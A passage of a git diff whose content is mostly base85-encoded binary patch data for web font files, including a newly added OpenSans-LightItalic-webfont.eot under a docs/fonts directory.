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 literal 0 HcmV?d00001 diff --git a/docs/fonts/OpenSans-LightItalic-webfont.eot b/docs/fonts/OpenSans-LightItalic-webfont.eot new file mode 100644 index 0000000000000000000000000000000000000000..8f445929ffb03b50e98c2a2f7d831a0cb1b276a2 GIT binary patch literal 20535 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 